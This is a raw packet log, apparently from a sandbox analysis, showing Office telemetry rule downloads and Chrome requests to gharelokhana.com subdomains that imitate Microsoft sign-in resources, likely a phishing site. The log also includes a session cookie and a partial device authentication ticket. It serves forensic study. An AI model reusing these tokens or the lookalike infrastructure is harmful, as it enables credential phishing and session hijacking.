20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.6	49796	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:41 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:42 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:42 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 935017b2-001e-0017-80c6-450c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151542Z-1746fd949bdhk6hphC1EWRaw3c000000012g00000000hc78 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:42 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.6	49797	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:41 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:42 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:42 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 6baa9d1a-801e-0048-02ce-45f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151542Z-1746fd949bd77mkmhC1EWR5efc00000001kg00000000kp07 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:42 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.6	49799	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:42 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:42 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:42 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 0e2e5981-501e-0035-17c1-45c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151542Z-1746fd949bdw2rg8hC1EWR11u400000001h000000000nxd0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:42 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.6	49800	164.92.191.86	443	6236	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:42 UTC	540	OUT	GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: 5ba3c75c-4ac65d39.gharelokhana.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg=="
2024-12-04 15:15:43 UTC	764	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 04 Dec 2024 15:15:43 GMT Content-Type: image/x-icon Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Sun, 18 Oct 2020 03:02:03 GMT etag: 0x8D8731230C851A6 x-ms-request-id: 7c4a7895-801e-0052-0bd0-44c801000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241204T151543Z-15b54885d96w7llbhC1FRA4qr800000005ug000000004rcu x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes
2024-12-04 15:15:43 UTC	2286	IN	Data Raw: 38 65 37 0d 0a 00 00 01 00 06 00 10 10 00 00 00 00 20 00 16 01 00 00 66 00 00 00 18 18 00 00 00 00 20 00 24 01 00 00 7c 01 00 00 20 20 00 00 00 00 20 00 35 01 00 00 a0 02 00 00 30 30 00 00 00 00 20 00 6a 01 00 00 d5 03 00 00 40 40 00 00 00 00 20 00 f3 01 00 00 3f 05 00 00 80 80 00 00 00 00 20 00 b5 01 00 00 32 07 00 00 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 06 00 00 00 1f f3 ff 61 00 00 00 dd 49 44 41 54 78 9c dd 92 31 4e 43 41 10 43 df cc 8e 44 40 b0 22 2d 65 6e c4 21 90 68 c3 15 38 40 ce c4 39 68 a8 11 22 e4 ff 00 05 93 35 4d 1a b2 bf 89 68 10 2e 2d 8d c7 b6 6c 9b eb 85 4c fc 80 50 d6 59 09 5e 6c 75 77 ff c8 95 d9 72 dc 28 cd 08 0e e0 87 c7 c7 c2 7f 77 fe 17 04 42 28 7b da 12 04 f2 26 01 46 02 a9 89 be a2 ce 4e ba 66 Data Ascii: 8e7 f $\| 500 j@@ ? 2PNGIHDRaIDATx1NCACD@"-en!h8@9h"5Mh.-lLPY^luwr(wB({&FNf
2024-12-04 15:15:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.6	49798	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:42 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:42 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:42 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 715419d5-801e-0078-38c7-45bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151542Z-1746fd949bdkw94lhC1EWRxuz400000001g000000000gzfn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:42 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	49801	164.92.191.86	443	6236	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:42 UTC	551	OUT	GET /shared/1.0/content/images/check_small_48540c930333871c385fcba2c659ccdb.svg HTTP/1.1 Host: 5ba3c75c-4ac65d39.gharelokhana.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg=="
2024-12-04 15:15:43 UTC	800	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 04 Dec 2024 15:15:43 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Wed, 24 May 2023 10:11:46 GMT etag: 0x8DB5C3F48118378 x-ms-request-id: 0349cb40-f01e-0053-0ad1-44dfcf000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241204T151543Z-16c5c9558c6vlss9hC1DUS8rsn00000005g000000000cptk x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-04 15:15:43 UTC	1016	IN	Data Raw: 33 66 31 0d 0a 1f 8b 08 00 00 00 00 00 00 ff 5d 96 c1 8e dc 36 0c 86 ef 05 fa 0e c6 f4 ae 21 29 51 12 8b 4c 0e f5 75 f2 02 b9 15 c8 76 67 81 cd 6e d0 0c 32 79 fc 90 32 45 bb 3d d9 92 65 91 ff c7 9f b2 3f 7c ff f1 bc 3c 5e be dc 6f 97 13 e6 d3 72 7b 7a 79 be dd b7 fb 1f 2f 4f 8f bf de 7f 5e 4e b0 c0 82 79 b1 b9 7f 5e 5e 5f 2f a7 b7 f7 b7 a7 d3 f2 f3 eb eb db f7 cb e9 76 bf 7f fb f3 7c 7e 3c 1e e9 91 d3 fb bf cf 67 02 80 b3 6e 7c fa f8 fb 6f 1f be fd 7d bf 2d 5f 2e a7 4f 92 4a 2d b9 2e 39 b5 56 7b bd 22 24 c8 5c 97 92 72 e9 58 ae 9c a8 23 f1 22 09 81 b8 5c 29 c9 58 5f 53 eb 5c cb 35 27 d6 e5 45 c7 84 3a 1f eb 5b 12 16 a9 d7 ff ed ff f9 53 4d bc c0 da 12 48 ad 5d 25 b4 54 1b d1 a2 61 5b a7 de fa d2 13 51 d5 0c 20 91 a6 50 f3 da 35 14 88 2d c9 bd 11 34 cd 85 Data Ascii: 3f1]6!)QLuvgn2y2E=e?\|<^or{zy/O^Ny^^_/v\|~<gn\|o}-_.OJ-.9V{"$\rX#"\)X_S\5'E:[SMH]%Ta[Q P5-4
2024-12-04 15:15:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	49803	164.92.191.86	443	6236	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:42 UTC	545	OUT	GET /shared/1.0/content/images/close_790189870c9543725dc3f5a15fb25e46.svg HTTP/1.1 Host: 5ba3c75c-4ac65d39.gharelokhana.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg=="
2024-12-04 15:15:43 UTC	800	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 04 Dec 2024 15:15:43 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Wed, 24 May 2023 10:11:46 GMT etag: 0x8DB5C3F4823AA6E x-ms-request-id: 2ef4f17a-001e-000a-74d1-44584c000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241204T151543Z-16c5c9558c6h56tqhC1DUStngc00000005g0000000007nr3 x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-04 15:15:43 UTC	196	IN	Data Raw: 62 65 0d 0a 1f 8b 08 00 00 00 00 00 00 ff 75 8f c1 0e 82 30 0c 86 5f 65 a9 57 b2 75 23 62 30 1b 07 ef be 80 37 a2 93 2d 41 20 ac 61 3c be 9b 88 37 d3 26 ed df ef 4f 9b ea b0 74 6c 7d f5 43 30 e0 88 a6 b3 10 31 46 1e 4b 3e ce 9d 50 88 28 92 03 58 f4 0f 72 06 a4 02 e6 ac ef 1c 6d fd e2 6d bc 8c ab 01 64 c8 a4 4a 09 8d 26 4f bd 6d da 10 2c 05 2d 36 a5 67 7b a7 7f 5b 9e be ef 0d 0c e3 60 41 34 7a 6a c9 b1 87 81 6b c5 4f 45 55 48 55 48 c9 4b ac 7f 45 a5 69 62 bc aa 65 16 b8 83 23 2f 13 c1 22 83 0f c4 24 f3 f0 cb 31 bb 33 b8 ed 27 0f aa ca 91 af e6 37 9b 37 22 dd b4 90 0e 01 00 00 0d 0a Data Ascii: beu0_eWu#b07-A a<7&Otl}C01FK>P(XrmmdJ&Om,-6g{[`A4zjkOEUHUHKEibe#/"$13'77"
2024-12-04 15:15:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.6	49805	164.92.191.86	443	6236	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:42 UTC	497	OUT	GET /common/handlers/watson HTTP/1.1 Host: fdgfhvcfdgfhhjh.gharelokhana.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg=="
2024-12-04 15:15:43 UTC	769	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 04 Dec 2024 15:15:43 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: no-store, no-cache pragma: no-cache p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: f065e0a8-8df0-47c2-b18c-fe6c17640701 x-ms-ests-server: 2.1.19492.3 - SEC ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://5ff4d3f4-4ac65d39.gharelokhana.com/api/report?catId=GW+estsfd+SEC"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2024-12-04 15:15:43 UTC	170	IN	Data Raw: 61 34 0d 0a 7b 22 65 72 72 6f 72 22 3a 7b 22 63 6f 64 65 22 3a 36 31 30 30 2c 22 73 74 73 45 72 72 6f 72 22 3a 22 41 41 44 53 54 53 39 30 30 35 36 31 22 2c 22 63 6f 72 72 65 6c 61 74 69 6f 6e 49 64 22 3a 22 64 64 39 39 37 34 38 34 2d 63 36 34 31 2d 34 65 31 37 2d 62 65 65 35 2d 65 31 33 66 64 61 36 63 34 39 64 36 22 2c 22 74 69 6d 65 73 74 61 6d 70 22 3a 22 32 30 32 34 2d 31 32 2d 30 34 20 31 35 3a 31 35 3a 34 33 5a 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 41 41 44 53 54 53 39 30 30 35 36 31 22 7d 7d 0d 0a Data Ascii: a4{"error":{"code":6100,"stsError":"AADSTS900561","correlationId":"dd997484-c641-4e17-bee5-e13fda6c49d6","timestamp":"2024-12-04 15:15:43Z","message":"AADSTS900561"}}
2024-12-04 15:15:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.6	49804	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:43 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:43 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:43 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: c73ff22a-601e-0097-54c1-45f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151543Z-1746fd949bd4w8sthC1EWR7004000000012g00000000g8ew x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:43 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.6	49802	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:43 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 52 4d 76 42 44 76 5a 6e 79 45 65 65 58 2b 43 36 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 31 61 33 39 36 61 61 38 39 32 33 31 35 39 37 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: RMvBDvZnyEeeX+C6.1Context: b1a396aa89231597
2024-12-04 15:15:43 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-04 15:15:43 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 52 4d 76 42 44 76 5a 6e 79 45 65 65 58 2b 43 36 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 31 61 33 39 36 61 61 38 39 32 33 31 35 39 37 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 65 35 77 4f 39 68 76 62 45 4d 2b 69 53 66 45 2b 38 44 46 45 6f 61 6d 47 46 76 53 62 58 34 48 49 51 59 4b 35 45 4b 78 75 36 71 38 39 54 39 4f 4a 6e 46 63 44 4f 72 39 65 57 4d 58 41 64 56 37 4b 38 6a 69 4f 45 35 51 2f 38 52 49 4b 4a 69 65 49 72 4b 72 54 5a 4c 75 38 52 48 6d 6c 4b 50 63 2b 63 66 46 50 35 42 4f 44 44 46 6f 32 35 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: RMvBDvZnyEeeX+C6.2Context: b1a396aa89231597<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAe5wO9hvbEM+iSfE+8DFEoamGFvSbX4HIQYK5EKxu6q89T9OJnFcDOr9eWMXAdV7K8jiOE5Q/8RIKJieIrKrTZLu8RHmlKPc+cfFP5BODDFo25
